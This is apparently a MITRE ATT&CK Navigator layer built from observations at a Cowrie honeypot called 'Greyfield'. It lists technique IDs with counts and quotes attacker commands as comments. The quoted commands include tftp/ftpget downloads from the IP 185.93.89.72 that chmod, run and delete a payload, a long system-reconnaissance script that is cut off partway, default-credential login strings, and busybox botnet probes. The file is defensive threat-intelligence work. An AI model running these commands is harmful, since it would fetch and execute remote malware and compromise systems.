{
  "name": "Greyfield observed techniques",
  "versions": {
    "attack": "19.2",
    "navigator": "5.1",
    "layer": "4.5"
  },
  "domain": "enterprise-attack",
  "description": "ATT&CK techniques mapped conservatively from Greyfield Cowrie observations; counts represent observed evidence, not attributed incidents.",
  "techniques": [
    {
      "techniqueID": "T1059.004",
      "score": 2825,
      "comment": "sh; system",
      "enabled": true
    },
    {
      "techniqueID": "T1110.001",
      "score": 2550,
      "comment": "enable / linuxshell; enable\\x00 / linuxshell\\x00",
      "enabled": true
    },
    {
      "techniqueID": "T1083",
      "score": 799,
      "comment": "ls /home; /bin/busybox BOTNET; cd /proc && cat self/cmdline",
      "enabled": true
    },
    {
      "techniqueID": "T1222.002",
      "score": 126,
      "comment": ">/data/d && chmod 777 /data/d && /data/d && cd /data/; >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/",
      "enabled": true
    },
    {
      "techniqueID": "T1105",
      "score": 40,
      "comment": "Malformed transfer reference withheld; (tftp -g 185.93.89.72 -r tftp -l- || busybox tftp -g 185.93.89.72 -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t",
      "enabled": true
    },
    {
      "techniqueID": "T1070.004",
      "score": 36,
      "comment": "(ftpget 185.93.89.72 f ftpget || busybox ftpget 185.93.89.72 f ftpget) > f; chmod 777 f; ./f; rm -rf f; (tftp -g 185.93.89.72 -r tftp -l- || busybox tftp -g 185.93.89.72 -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t",
      "enabled": true
    },
    {
      "techniqueID": "T1082",
      "score": 25,
      "comment": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\") arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\") uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d ; uname -s -v -n -r -m",
      "enabled": true
    },
    {
      "techniqueID": "T1016",
      "score": 5,
      "comment": "/ip cloud print; ifconfig",
      "enabled": true
    },
    {
      "techniqueID": "T1057",
      "score": 5,
      "comment": "ps -ef | grep '[Mm]iner'; ps | grep '[Mm]iner'",
      "enabled": true
    }
  ],
  "gradient": {
    "colors": [
      "#17131f",
      "#7857ff",
      "#ff5d73"
    ],
    "minValue": 0,
    "maxValue": 2825
  }
}